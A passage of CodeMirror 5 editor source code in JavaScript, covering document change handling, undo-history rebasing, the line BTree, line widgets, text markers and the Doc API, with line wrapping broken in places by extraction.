      checkWidthStart = lineNo(visualLine(getLine(doc, from.line)));
      doc.iter(checkWidthStart, to.line + 1, function (line) {
        if (line == display.maxLine) {
          recomputeMaxLength = true;
          return true
        }
      });
    }

    if (doc.sel.contains(change.from, change.to) > -1)
      { signalCursorActivity(cm); }

    updateDoc(doc, change, spans, estimateHeight(cm));

    if (!cm.options.lineWrapping) {
      doc.iter(checkWidthStart, from.line + change.text.length, function
(line) {
        var len = lineLength(line);
        if (len > display.maxLineLength) {
          display.maxLine = line;
          display.maxLineLength = len;
          display.maxLineChanged = true;
          recomputeMaxLength = false;
        }
      });
      if (recomputeMaxLength) { cm.curOp.updateMaxLine = true; }
    }

    retreatFrontier(doc, from.line);
    startWorker(cm, 400);

    var lendiff = change.text.length - (to.line - from.line) - 1;
    // Remember that these lines changed, for updating the display
    if (change.full)
      { regChange(cm); }
    else if (from.line == to.line && change.text.length == 1
&& !isWholeLineUpdate(cm.doc, change))
      { regLineChange(cm, from.line, "text"); }
    else
      { regChange(cm, from.line, to.line + 1, lendiff); }

    var changesHandler = hasHandler(cm, "changes"), changeHandler
= hasHandler(cm, "change");
    if (changeHandler || changesHandler) {
      var obj = {
        from: from, to: to,
        text: change.text,
        removed: change.removed,
        origin: change.origin
      };
      if (changeHandler) { signalLater(cm, "change", cm, obj); }
      if (changesHandler) { (cm.curOp.changeObjs || (cm.curOp.changeObjs =
[])).push(obj); }
    }
    cm.display.selForContextMenu = null;
  }

  function replaceRange(doc, code, from, to, origin) {
    var assign;

    if (!to) { to = from; }
    if (cmp(to, from) < 0) { (assign = [to, from], from = assign[0], to
= assign[1]); }
    if (typeof code == "string") { code = doc.splitLines(code); }
    makeChange(doc, {from: from, to: to, text: code, origin: origin});
  }

  // Rebasing/resetting history to deal with externally-sourced changes

  function rebaseHistSelSingle(pos, from, to, diff) {
    if (to < pos.line) {
      pos.line += diff;
    } else if (from < pos.line) {
      pos.line = from;
      pos.ch = 0;
    }
  }

  // Tries to rebase an array of history events given a change in the
  // document. If the change touches the same lines as the event, the
  // event, and everything 'behind' it, is discarded. If the
change is
  // before the event, the event's positions are updated. Uses a
  // copy-on-write scheme for the positions, to avoid having to
  // reallocate them all on every rebase, but also avoid problems with
  // shared position objects being unsafely updated.
  function rebaseHistArray(array, from, to, diff) {
    for (var i = 0; i < array.length; ++i) {
      var sub = array[i], ok = true;
      if (sub.ranges) {
        if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied =
true; }
        for (var j = 0; j < sub.ranges.length; j++) {
          rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff);
          rebaseHistSelSingle(sub.ranges[j].head, from, to, diff);
        }
        continue
      }
      for (var j$1 = 0; j$1 < sub.changes.length; ++j$1) {
        var cur = sub.changes[j$1];
        if (to < cur.from.line) {
          cur.from = Pos(cur.from.line + diff, cur.from.ch);
          cur.to = Pos(cur.to.line + diff, cur.to.ch);
        } else if (from <= cur.to.line) {
          ok = false;
          break
        }
      }
      if (!ok) {
        array.splice(0, i + 1);
        i = 0;
      }
    }
  }

  function rebaseHist(hist, change) {
    var from = change.from.line, to = change.to.line, diff =
change.text.length - (to - from) - 1;
    rebaseHistArray(hist.done, from, to, diff);
    rebaseHistArray(hist.undone, from, to, diff);
  }

  // Utility for applying a change to a line by handle or number,
  // returning the number and optionally registering the line as
  // changed.
  function changeLine(doc, handle, changeType, op) {
    var no = handle, line = handle;
    if (typeof handle == "number") { line = getLine(doc,
clipLine(doc, handle)); }
    else { no = lineNo(handle); }
    if (no == null) { return null }
    if (op(line, no) && doc.cm) { regLineChange(doc.cm, no,
changeType); }
    return line
  }

  // The document is represented as a BTree consisting of leaves, with
  // chunk of lines in them, and branches, with up to ten leaves or
  // other branch nodes below them. The top node is always a branch
  // node, and is the document object itself (meaning it has
  // additional methods and properties).
  //
  // All nodes have parent links. The tree is used both to go from
  // line numbers to line objects, and to go from objects to numbers.
  // It also indexes by height, and is used to convert between height
  // and line object, and to find the total height of the document.
  //
  // See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html

  function LeafChunk(lines) {
    this.lines = lines;
    this.parent = null;
    var height = 0;
    for (var i = 0; i < lines.length; ++i) {
      lines[i].parent = this;
      height += lines[i].height;
    }
    this.height = height;
  }

  LeafChunk.prototype = {
    chunkSize: function() { return this.lines.length },

    // Remove the n lines at offset 'at'.
    removeInner: function(at, n) {
      for (var i = at, e = at + n; i < e; ++i) {
        var line = this.lines[i];
        this.height -= line.height;
        cleanUpLine(line);
        signalLater(line, "delete");
      }
      this.lines.splice(at, n);
    },

    // Helper used to collapse a small branch into a single leaf.
    collapse: function(lines) {
      lines.push.apply(lines, this.lines);
    },

    // Insert the given array of lines at offset 'at', count them
as
    // having the given height.
    insertInner: function(at, lines, height) {
      this.height += height;
      this.lines = this.lines.slice(0,
at).concat(lines).concat(this.lines.slice(at));
      for (var i = 0; i < lines.length; ++i) { lines[i].parent = this; }
    },

    // Used to iterate over a part of the tree.
    iterN: function(at, n, op) {
      for (var e = at + n; at < e; ++at)
        { if (op(this.lines[at])) { return true } }
    }
  };

  function BranchChunk(children) {
    this.children = children;
    var size = 0, height = 0;
    for (var i = 0; i < children.length; ++i) {
      var ch = children[i];
      size += ch.chunkSize(); height += ch.height;
      ch.parent = this;
    }
    this.size = size;
    this.height = height;
    this.parent = null;
  }

  BranchChunk.prototype = {
    chunkSize: function() { return this.size },

    removeInner: function(at, n) {
      this.size -= n;
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at < sz) {
          var rm = Math.min(n, sz - at), oldHeight = child.height;
          child.removeInner(at, rm);
          this.height -= oldHeight - child.height;
          if (sz == rm) { this.children.splice(i--, 1); child.parent =
null; }
          if ((n -= rm) == 0) { break }
          at = 0;
        } else { at -= sz; }
      }
      // If the result is smaller than 25 lines, ensure that it is a
      // single leaf node.
      if (this.size - n < 25 &&
          (this.children.length > 1 || !(this.children[0] instanceof
LeafChunk))) {
        var lines = [];
        this.collapse(lines);
        this.children = [new LeafChunk(lines)];
        this.children[0].parent = this;
      }
    },

    collapse: function(lines) {
      for (var i = 0; i < this.children.length; ++i) {
this.children[i].collapse(lines); }
    },

    insertInner: function(at, lines, height) {
      this.size += lines.length;
      this.height += height;
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at <= sz) {
          child.insertInner(at, lines, height);
          if (child.lines && child.lines.length > 50) {
            // To avoid memory thrashing when child.lines is huge (e.g.
first view of a large file), it's never spliced.
            // Instead, small slices are taken. They're taken in order
because sequential memory accesses are fastest.
            var remaining = child.lines.length % 25 + 25;
            for (var pos = remaining; pos < child.lines.length;) {
              var leaf = new LeafChunk(child.lines.slice(pos, pos += 25));
              child.height -= leaf.height;
              this.children.splice(++i, 0, leaf);
              leaf.parent = this;
            }
            child.lines = child.lines.slice(0, remaining);
            this.maybeSpill();
          }
          break
        }
        at -= sz;
      }
    },

    // When a node has grown, check whether it should be split.
    maybeSpill: function() {
      if (this.children.length <= 10) { return }
      var me = this;
      do {
        var spilled = me.children.splice(me.children.length - 5, 5);
        var sibling = new BranchChunk(spilled);
        if (!me.parent) { // Become the parent node
          var copy = new BranchChunk(me.children);
          copy.parent = me;
          me.children = [copy, sibling];
          me = copy;
       } else {
          me.size -= sibling.size;
          me.height -= sibling.height;
          var myIndex = indexOf(me.parent.children, me);
          me.parent.children.splice(myIndex + 1, 0, sibling);
        }
        sibling.parent = me.parent;
      } while (me.children.length > 10)
      me.parent.maybeSpill();
    },

    iterN: function(at, n, op) {
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at < sz) {
          var used = Math.min(n, sz - at);
          if (child.iterN(at, used, op)) { return true }
          if ((n -= used) == 0) { break }
          at = 0;
        } else { at -= sz; }
      }
    }
  };

  // Line widgets are block elements displayed above or below a line.

  var LineWidget = function(doc, node, options) {
    if (options) { for (var opt in options) { if
(options.hasOwnProperty(opt))
      { this[opt] = options[opt]; } } }
    this.doc = doc;
    this.node = node;
  };

  LineWidget.prototype.clear = function () {
    var cm = this.doc.cm, ws = this.line.widgets, line = this.line, no =
lineNo(line);
    if (no == null || !ws) { return }
    for (var i = 0; i < ws.length; ++i) { if (ws[i] == this) {
ws.splice(i--, 1); } }
    if (!ws.length) { line.widgets = null; }
    var height = widgetHeight(this);
    updateLineHeight(line, Math.max(0, line.height - height));
    if (cm) {
      runInOp(cm, function () {
        adjustScrollWhenAboveVisible(cm, line, -height);
        regLineChange(cm, no, "widget");
      });
      signalLater(cm, "lineWidgetCleared", cm, this, no);
    }
  };

  LineWidget.prototype.changed = function () {
      var this$1 = this;

    var oldH = this.height, cm = this.doc.cm, line = this.line;
    this.height = null;
    var diff = widgetHeight(this) - oldH;
    if (!diff) { return }
    if (!lineIsHidden(this.doc, line)) { updateLineHeight(line, line.height
+ diff); }
    if (cm) {
      runInOp(cm, function () {
        cm.curOp.forceUpdate = true;
        adjustScrollWhenAboveVisible(cm, line, diff);
        signalLater(cm, "lineWidgetChanged", cm, this$1,
lineNo(line));
      });
    }
  };
  eventMixin(LineWidget);

  function adjustScrollWhenAboveVisible(cm, line, diff) {
    if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop)
|| cm.doc.scrollTop))
      { addToScrollTop(cm, diff); }
  }

  function addLineWidget(doc, handle, node, options) {
    var widget = new LineWidget(doc, node, options);
    var cm = doc.cm;
    if (cm && widget.noHScroll) { cm.display.alignWidgets = true; }
    changeLine(doc, handle, "widget", function (line) {
      var widgets = line.widgets || (line.widgets = []);
      if (widget.insertAt == null) { widgets.push(widget); }
      else { widgets.splice(Math.min(widgets.length - 1, Math.max(0,
widget.insertAt)), 0, widget); }
      widget.line = line;
      if (cm && !lineIsHidden(doc, line)) {
        var aboveVisible = heightAtLine(line) < doc.scrollTop;
        updateLineHeight(line, line.height + widgetHeight(widget));
        if (aboveVisible) { addToScrollTop(cm, widget.height); }
        cm.curOp.forceUpdate = true;
      }
      return true
    });
    if (cm) { signalLater(cm, "lineWidgetAdded", cm, widget,
typeof handle == "number" ? handle : lineNo(handle)); }
    return widget
  }

  // TEXTMARKERS

  // Created with markText and setBookmark methods. A TextMarker is a
  // handle that can be used to clear or find a marked position in the
  // document. Line objects hold arrays (markedSpans) containing
  // {from, to, marker} object pointing to such marker objects, and
  // indicating that such a marker is present on that line. Multiple
  // lines may point to the same marker when it spans across lines.
  // The spans will have null for their from/to properties when the
  // marker continues beyond the start/end of the line. Markers have
  // links back to the lines they currently touch.

  // Collapsed markers have unique ids, in order to be able to order
  // them, which is needed for uniquely determining an outer marker
  // when they overlap (they may nest, but not partially overlap).
  var nextMarkerId = 0;

  var TextMarker = function(doc, type) {
    this.lines = [];
    this.type = type;
    this.doc = doc;
    this.id = ++nextMarkerId;
  };

  // Clear the marker.
  TextMarker.prototype.clear = function () {
    if (this.explicitlyCleared) { return }
    var cm = this.doc.cm, withOp = cm && !cm.curOp;
    if (withOp) { startOperation(cm); }
    if (hasHandler(this, "clear")) {
      var found = this.find();
      if (found) { signalLater(this, "clear", found.from,
found.to); }
    }
    var min = null, max = null;
    for (var i = 0; i < this.lines.length; ++i) {
      var line = this.lines[i];
      var span = getMarkedSpanFor(line.markedSpans, this);
      if (cm && !this.collapsed) { regLineChange(cm, lineNo(line),
"text"); }
      else if (cm) {
        if (span.to != null) { max = lineNo(line); }
        if (span.from != null) { min = lineNo(line); }
      }
      line.markedSpans = removeMarkedSpan(line.markedSpans, span);
      if (span.from == null && this.collapsed &&
!lineIsHidden(this.doc, line) && cm)
        { updateLineHeight(line, textHeight(cm.display)); }
    }
    if (cm && this.collapsed && !cm.options.lineWrapping) {
for (var i$1 = 0; i$1 < this.lines.length; ++i$1) {
      var visual = visualLine(this.lines[i$1]), len = lineLength(visual);
      if (len > cm.display.maxLineLength) {
        cm.display.maxLine = visual;
        cm.display.maxLineLength = len;
        cm.display.maxLineChanged = true;
      }
    } }

    if (min != null && cm && this.collapsed) {
regChange(cm, min, max + 1); }
    this.lines.length = 0;
    this.explicitlyCleared = true;
    if (this.atomic && this.doc.cantEdit) {
      this.doc.cantEdit = false;
      if (cm) { reCheckSelection(cm.doc); }
    }
    if (cm) { signalLater(cm, "markerCleared", cm, this, min,
max); }
    if (withOp) { endOperation(cm); }
    if (this.parent) { this.parent.clear(); }
  };

  // Find the position of the marker in the document. Returns a {from,
  // to} object by default. Side can be passed to get a specific side
  // -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the
  // Pos objects returned contain a line object, rather than a line
  // number (used to prevent looking up the same line twice).
  TextMarker.prototype.find = function (side, lineObj) {
    if (side == null && this.type == "bookmark") { side =
1; }
    var from, to;
    for (var i = 0; i < this.lines.length; ++i) {
      var line = this.lines[i];
      var span = getMarkedSpanFor(line.markedSpans, this);
      if (span.from != null) {
        from = Pos(lineObj ? line : lineNo(line), span.from);
        if (side == -1) { return from }
      }
      if (span.to != null) {
        to = Pos(lineObj ? line : lineNo(line), span.to);
        if (side == 1) { return to }
      }
    }
    return from && {from: from, to: to}
  };

  // Signals that the marker's widget changed, and surrounding layout
  // should be recomputed.
  TextMarker.prototype.changed = function () {
      var this$1 = this;

    var pos = this.find(-1, true), widget = this, cm = this.doc.cm;
    if (!pos || !cm) { return }
    runInOp(cm, function () {
      var line = pos.line, lineN = lineNo(pos.line);
      var view = findViewForLine(cm, lineN);
      if (view) {
        clearLineMeasurementCacheFor(view);
        cm.curOp.selectionChanged = cm.curOp.forceUpdate = true;
      }
      cm.curOp.updateMaxLine = true;
      if (!lineIsHidden(widget.doc, line) && widget.height != null)
{
        var oldHeight = widget.height;
        widget.height = null;
        var dHeight = widgetHeight(widget) - oldHeight;
        if (dHeight)
          { updateLineHeight(line, line.height + dHeight); }
      }
      signalLater(cm, "markerChanged", cm, this$1);
    });
  };

  TextMarker.prototype.attachLine = function (line) {
    if (!this.lines.length && this.doc.cm) {
      var op = this.doc.cm.curOp;
      if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) ==
-1)
        { (op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers =
[])).push(this); }
    }
    this.lines.push(line);
  };

  TextMarker.prototype.detachLine = function (line) {
    this.lines.splice(indexOf(this.lines, line), 1);
    if (!this.lines.length && this.doc.cm) {
      var op = this.doc.cm.curOp
      ;(op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this);
    }
  };
  eventMixin(TextMarker);

  // Create a marker, wire it up to the right lines, and
  function markText(doc, from, to, options, type) {
    // Shared markers (across linked documents) are handled separately
    // (markTextShared will call out to this again, once per
    // document).
    if (options && options.shared) { return markTextShared(doc,
from, to, options, type) }
    // Ensure we are in an operation.
    if (doc.cm && !doc.cm.curOp) { return operation(doc.cm,
markText)(doc, from, to, options, type) }

    var marker = new TextMarker(doc, type), diff = cmp(from, to);
    if (options) { copyObj(options, marker, false); }
    // Don't connect empty markers unless clearWhenEmpty is false
    if (diff > 0 || diff == 0 && marker.clearWhenEmpty !==
false)
      { return marker }
    if (marker.replacedWith) {
      // Showing up as a widget implies collapsed (widget replaces text)
      marker.collapsed = true;
      marker.widgetNode = eltP("span", [marker.replacedWith],
"CodeMirror-widget");
      if (!options.handleMouseEvents) {
marker.widgetNode.setAttribute("cm-ignore-events",
"true"); }
      if (options.insertLeft) { marker.widgetNode.insertLeft = true; }
    }
    if (marker.collapsed) {
      if (conflictingCollapsedRange(doc, from.line, from, to, marker) ||
          from.line != to.line && conflictingCollapsedRange(doc,
to.line, from, to, marker))
        { throw new Error("Inserting collapsed marker partially
overlapping an existing one") }
      seeCollapsedSpans();
    }

    if (marker.addToHistory)
      { addChangeToHistory(doc, {from: from, to: to, origin:
"markText"}, doc.sel, NaN); }

    var curLine = from.line, cm = doc.cm, updateMaxLine;
    doc.iter(curLine, to.line + 1, function (line) {
      if (cm && marker.collapsed &&
!cm.options.lineWrapping && visualLine(line) == cm.display.maxLine)
        { updateMaxLine = true; }
      if (marker.collapsed && curLine != from.line) {
updateLineHeight(line, 0); }
      addMarkedSpan(line, new MarkedSpan(marker,
                                         curLine == from.line ? from.ch :
null,
                                         curLine == to.line ? to.ch :
null));
      ++curLine;
    });
    // lineIsHidden depends on the presence of the spans, so needs a second
pass
    if (marker.collapsed) { doc.iter(from.line, to.line + 1, function
(line) {
      if (lineIsHidden(doc, line)) { updateLineHeight(line, 0); }
    }); }

    if (marker.clearOnEnter) { on(marker, "beforeCursorEnter",
function () { return marker.clear(); }); }

    if (marker.readOnly) {
      seeReadOnlySpans();
      if (doc.history.done.length || doc.history.undone.length)
        { doc.clearHistory(); }
    }
    if (marker.collapsed) {
      marker.id = ++nextMarkerId;
      marker.atomic = true;
    }
    if (cm) {
      // Sync editor state
      if (updateMaxLine) { cm.curOp.updateMaxLine = true; }
      if (marker.collapsed)
        { regChange(cm, from.line, to.line + 1); }
      else if (marker.className || marker.startStyle || marker.endStyle ||
marker.css ||
               marker.attributes || marker.title)
        { for (var i = from.line; i <= to.line; i++) { regLineChange(cm,
i, "text"); } }
      if (marker.atomic) { reCheckSelection(cm.doc); }
      signalLater(cm, "markerAdded", cm, marker);
    }
    return marker
  }

  // SHARED TEXTMARKERS

  // A shared marker spans multiple linked documents. It is
  // implemented as a meta-marker-object controlling multiple normal
  // markers.
  var SharedTextMarker = function(markers, primary) {
    this.markers = markers;
    this.primary = primary;
    for (var i = 0; i < markers.length; ++i)
      { markers[i].parent = this; }
  };

  SharedTextMarker.prototype.clear = function () {
    if (this.explicitlyCleared) { return }
    this.explicitlyCleared = true;
    for (var i = 0; i < this.markers.length; ++i)
      { this.markers[i].clear(); }
    signalLater(this, "clear");
  };

  SharedTextMarker.prototype.find = function (side, lineObj) {
    return this.primary.find(side, lineObj)
  };
  eventMixin(SharedTextMarker);

  function markTextShared(doc, from, to, options, type) {
    options = copyObj(options);
    options.shared = false;
    var markers = [markText(doc, from, to, options, type)], primary =
markers[0];
    var widget = options.widgetNode;
    linkedDocs(doc, function (doc) {
      if (widget) { options.widgetNode = widget.cloneNode(true); }
      markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to),
options, type));
      for (var i = 0; i < doc.linked.length; ++i)
        { if (doc.linked[i].isParent) { return } }
      primary = lst(markers);
    });
    return new SharedTextMarker(markers, primary)
  }

  function findSharedMarkers(doc) {
    return doc.findMarks(Pos(doc.first, 0),
doc.clipPos(Pos(doc.lastLine())), function (m) { return m.parent; })
  }

  function copySharedMarkers(doc, markers) {
    for (var i = 0; i < markers.length; i++) {
      var marker = markers[i], pos = marker.find();
      var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to);
      if (cmp(mFrom, mTo)) {
        var subMark = markText(doc, mFrom, mTo, marker.primary,
marker.primary.type);
        marker.markers.push(subMark);
        subMark.parent = marker;
      }
    }
  }

  function detachSharedMarkers(markers) {
    var loop = function ( i ) {
      var marker = markers[i], linked = [marker.primary.doc];
      linkedDocs(marker.primary.doc, function (d) { return linked.push(d);
});
      for (var j = 0; j < marker.markers.length; j++) {
        var subMarker = marker.markers[j];
        if (indexOf(linked, subMarker.doc) == -1) {
          subMarker.parent = null;
          marker.markers.splice(j--, 1);
        }
      }
    };

    for (var i = 0; i < markers.length; i++) loop( i );
  }

  var nextDocId = 0;
  var Doc = function(text, mode, firstLine, lineSep, direction) {
    if (!(this instanceof Doc)) { return new Doc(text, mode, firstLine,
lineSep, direction) }
    if (firstLine == null) { firstLine = 0; }

    BranchChunk.call(this, [new LeafChunk([new Line("",
null)])]);
    this.first = firstLine;
    this.scrollTop = this.scrollLeft = 0;
    this.cantEdit = false;
    this.cleanGeneration = 1;
    this.modeFrontier = this.highlightFrontier = firstLine;
    var start = Pos(firstLine, 0);
    this.sel = simpleSelection(start);
    this.history = new History(null);
    this.id = ++nextDocId;
    this.modeOption = mode;
    this.lineSep = lineSep;
    this.direction = (direction == "rtl") ? "rtl" :
"ltr";
    this.extend = false;

    if (typeof text == "string") { text = this.splitLines(text);
}
    updateDoc(this, {from: start, to: start, text: text});
    setSelection(this, simpleSelection(start), sel_dontScroll);
  };

  Doc.prototype = createObj(BranchChunk.prototype, {
    constructor: Doc,
    // Iterate over the document. Supports two forms -- with only one
    // argument, it calls that for each line in the document. With
    // three, it iterates over the range given by the first two (with
    // the second being non-inclusive).
    iter: function(from, to, op) {
      if (op) { this.iterN(from - this.first, to - from, op); }
      else { this.iterN(this.first, this.first + this.size, from); }
    },

    // Non-public interface for adding and removing lines.
    insert: function(at, lines) {
      var height = 0;
      for (var i = 0; i < lines.length; ++i) { height +=
lines[i].height; }
      this.insertInner(at - this.first, lines, height);
    },
    remove: function(at, n) { this.removeInner(at - this.first, n); },

    // From here, the methods are part of the public interface. Most
    // are also available from CodeMirror (editor) instances.

    getValue: function(lineSep) {
      var lines = getLines(this, this.first, this.first + this.size);
      if (lineSep === false) { return lines }
      return lines.join(lineSep || this.lineSeparator())
    },
    setValue: docMethodOp(function(code) {
      var top = Pos(this.first, 0), last = this.first + this.size - 1;
      makeChange(this, {from: top, to: Pos(last, getLine(this,
last).text.length),
                        text: this.splitLines(code), origin:
"setValue", full: true}, true);
      if (this.cm) { scrollToCoords(this.cm, 0, 0); }
      setSelection(this, simpleSelection(top), sel_dontScroll);
    }),
    replaceRange: function(code, from, to, origin) {
      from = clipPos(this, from);
      to = to ? clipPos(this, to) : from;
      replaceRange(this, code, from, to, origin);
    },
    getRange: function(from, to, lineSep) {
      var lines = getBetween(this, clipPos(this, from), clipPos(this, to));
      if (lineSep === false) { return lines }
      return lines.join(lineSep || this.lineSeparator())
    },

    getLine: function(line) {var l = this.getLineHandle(line); return l
&& l.text},

    getLineHandle: function(line) {if (isLine(this, line)) { return
getLine(this, line) }},
    getLineNumber: function(line) {return lineNo(line)},

    getLineHandleVisualStart: function(line) {
      if (typeof line == "number") { line = getLine(this, line);
}
      return visualLine(line)
    },

    lineCount: function() {return this.size},
    firstLine: function() {return this.first},
    lastLine: function() {return this.first + this.size - 1},

    clipPos: function(pos) {return clipPos(this, pos)},

    getCursor: function(start) {
      var range = this.sel.primary(), pos;
      if (start == null || start == "head") { pos = range.head; }
      else if (start == "anchor") { pos = range.anchor; }
      else if (start == "end" || start == "to" || start
=== false) { pos = range.to(); }
      else { pos = range.from(); }
      return pos
    },
    listSelections: function() { return this.sel.ranges },
    somethingSelected: function() {return this.sel.somethingSelected()},

    setCursor: docMethodOp(function(line, ch, options) {
      setSimpleSelection(this, clipPos(this, typeof line ==
"number" ? Pos(line, ch || 0) : line), null, options);
    }),
    setSelection: docMethodOp(function(anchor, head, options) {
      setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head ||
anchor), options);
    }),
    extendSelection: docMethodOp(function(head, other, options) {
      extendSelection(this, clipPos(this, head), other &&
clipPos(this, other), options);
    }),
    extendSelections: docMethodOp(function(heads, options) {
      extendSelections(this, clipPosArray(this, heads), options);
    }),
    extendSelectionsBy: docMethodOp(function(f, options) {
      var heads = map(this.sel.ranges, f);
      extendSelections(this, clipPosArray(this, heads), options);
    }),
    setSelections: docMethodOp(function(ranges, primary, options) {
      if (!ranges.length) { return }
      var out = [];
      for (var i = 0; i < ranges.length; i++)
        { out[i] = new Range(clipPos(this, ranges[i].anchor),
                           clipPos(this, ranges[i].head)); }
      if (primary == null) { primary = Math.min(ranges.length - 1,
this.sel.primIndex); }
      setSelection(this, normalizeSelection(this.cm, out, primary),
options);
    }),
    addSelection: docMethodOp(function(anchor, head, options) {
      var ranges = this.sel.ranges.slice(0);
      ranges.push(new Range(clipPos(this, anchor), clipPos(this, head ||
anchor)));
      setSelection(this, normalizeSelection(this.cm, ranges, ranges.length
- 1), options);
    }),

    getSelection: function(lineSep) {
      var ranges = this.sel.ranges, lines;
      for (var i = 0; i < ranges.length; i++) {
        var sel = getBetween(this, ranges[i].from(), ranges[i].to());
        lines = lines ? lines.concat(sel) : sel;
      }
      if (lineSep === false) { return lines }
      else { return lines.join(lineSep || this.lineSeparator()) }
    },
    getSelections: function(lineSep) {
      var parts = [], ranges = this.sel.ranges;
      for (var i = 0; i < ranges.length; i++) {
        var sel = getBetween(this, ranges[i].from(), ranges[i].to());
        if (lineSep !== false) { sel = sel.join(lineSep ||
this.lineSeparator()); }
        parts[i] = sel;
      }
      return parts
    },
    replaceSelection: function(code, collapse, origin) {
      var dup = [];
      for (var i = 0; i < this.sel.ranges.length; i++)
        { dup[i] = code; }
      this.replaceSelections(dup, collapse, origin || "+input");
    },
    replaceSelections: docMethodOp(function(code, collapse, origin) {
      var changes = [], sel = this.sel;
      for (var i = 0; i < sel.ranges.length; i++) {
        var range = sel.ranges[i];
        changes[i] = {from: range.from(), to: range.to(), text:
this.splitLines(code[i]), origin: origin};
      }
      var newSel = collapse && collapse != "end"
&& computeReplacedSel(this, changes, collapse);
      for (var i$1 = changes.length - 1; i$1 >= 0; i$1--)
        { makeChange(this, changes[i$1]); }
      if (newSel) { setSelectionReplaceHistory(this, newSel); }
      else if (this.cm) { ensureCursorVisible(this.cm); }
    }),
    undo: docMethodOp(function() {makeChangeFromHistory(this,
"undo");}),
    redo: docMethodOp(function() {makeChangeFromHistory(this,
"redo");}),
    undoSelection: docMethodOp(function() {makeChangeFromHistory(this,
"undo", true);}),
    redoSelection: docMethodOp(function() {makeChangeFromHistory(this,
"redo", true);}),

    setExtending: function(val) {this.extend = val;},
    getExtending: function() {return this.extend},

    historySize: function() {
      var hist = this.history, done = 0, undone = 0;
      for (var i = 0; i < hist.done.length; i++) { if
(!hist.done[i].ranges) { ++done; } }
      for (var i$1 = 0; i$1 < hist.undone.length; i$1++) { if
(!hist.undone[i$1].ranges) { ++undone; } }
      return {undo: done, redo: undone}
    },
    clearHistory: function() {
      var this$1 = this;

      this.history = new History(this.history.maxGeneration);
      linkedDocs(this, function (doc) { return doc.history =
this$1.history; }, true);
    },

    markClean: function() {
      this.cleanGeneration = this.changeGeneration(true);
    },
    changeGeneration: function(forceSplit) {
      if (forceSplit)
        { this.history.lastOp = this.history.lastSelOp =
this.history.lastOrigin = null; }
      return this.history.generation
    },
    isClean: function (gen) {
      return this.history.generation == (gen || this.cleanGeneration)
    },

    getHistory: function() {
      return {done: copyHistoryArray(this.history.done),
              undone: copyHistoryArray(this.history.undone)}
    },
    setHistory: function(histData) {
      var hist = this.history = new History(this.history.maxGeneration);
      hist.done = copyHistoryArray(histData.done.slice(0), null, true);
      hist.undone = copyHistoryArray(histData.undone.slice(0), null, true);
    },

    setGutterMarker: docMethodOp(function(line, gutterID, value) {
      return changeLine(this, line, "gutter", function (line) {
        var markers = line.gutterMarkers || (line.gutterMarkers = {});
        markers[gutterID] = value;
        if (!value && isEmpty(markers)) { line.gutterMarkers =
null; }
        return true
      })
    }),

    clearGutter: docMethodOp(function(gutterID) {
      var this$1 = this;

      this.iter(function (line) {
        if (line.gutterMarkers && line.gutterMarkers[gutterID]) {
          changeLine(this$1, line, "gutter", function () {
            line.gutterMarkers[gutterID] = null;
            if (isEmpty(line.gutterMarkers)) { line.gutterMarkers = null; }
            return true
          });
        }
      });
    }),

    lineInfo: function(line) {
      var n;
      if (typeof line == "number") {
        if (!isLine(this, line)) { return null }
        n = line;
        line = getLine(this, line);
        if (!line) { return null }
      } else {
        n = lineNo(line);
        if (n == null) { return null }
      }
      return {line: n, handle: line, text: line.text, gutterMarkers:
line.gutterMarkers,
              textClass: line.textClass, bgClass: line.bgClass, wrapClass:
line.wrapClass,
              widgets: line.widgets}
    },

    addLineClass: docMethodOp(function(handle, where, cls) {
      return changeLine(this, handle, where == "gutter" ?
"gutter" : "class", function (line) {
        var prop = where == "text" ? "textClass"
                 : where == "background" ? "bgClass"
                 : where == "gutter" ? "gutterClass" :
"wrapClass";
        if (!line[prop]) { line[prop] = cls; }
        else if (classTest(cls).test(line[prop])) { return false }
        else { line[prop] += " " + cls; }
        return true
      })
    }),
    removeLineClass: docMethodOp(function(handle, where, cls) {
      return changeLine(this, handle, where == "gutter" ?
"gutter" : "class", function (line) {
        var prop = where == "text" ? "textClass"
                 : where == "background" ? "bgClass"
                 : where == "gutter" ? "gutterClass" :
"wrapClass";
        var cur = line[prop];
        if (!cur) { return false }
        else if (cls == null) { line[prop] = null; }
        else {
          var found = cur.match(classTest(cls));
          if (!found) { return false }
          var end = found.index + found[0].length;
          line[prop] = cur.slice(0, found.index) + (!found.index || end ==
cur.length ? "" : " ") + cur.slice(end) || null;
        }
        return true
      })
    }),

    addLineWidget: docMethodOp(function(handle, node, options) {
      return addLineWidget(this, handle, node, options)
    }),
    removeLineWidget: function(widget) { widget.clear(); },

    markText: function(from, to, options) {
      return markText(this, clipPos(this, from), clipPos(this, to),
options, options && options.type || "range")
    },
    setBookmark: function(pos, options) {
      var realOpts = {replacedWith: options && (options.nodeType ==
null ? options.widget : options),
                      insertLeft: options && options.insertLeft,
                      clearWhenEmpty: false, shared: options &&
options.shared,
                      handleMouseEvents: options &&
options.handleMouseEvents};
      pos = clipPos(this, pos);
      return markText(this, pos, pos, realOpts, "bookmark")
    },
    findMarksAt: function(pos) {
      pos = clipPos(this, pos);
      var markers = [], spans = getLine(this, pos.line).markedSpans;
      if (spans) { for (var i = 0; i < spans.length; ++i) {
        var span = spans[i];
        if ((span.from == null || span.from <= pos.ch) &&
            (span.to == null || span.to >= pos.ch))
          { markers.push(span.marker.parent || span.marker); }
      } }
      return markers
    },
    findMarks: function(from, to, filter) {
      from = clipPos(this, from); to = clipPos(this, to);
      var found = [], lineNo = from.line;
      this.iter(from.line, to.line + 1, function (line) {
        var spans = line.markedSpans;
        if (spans) { for (var i = 0; i < spans.length; i++) {
          var span = spans[i];
          if (!(span.to != null && lineNo == from.line &&
from.ch >= span.to ||
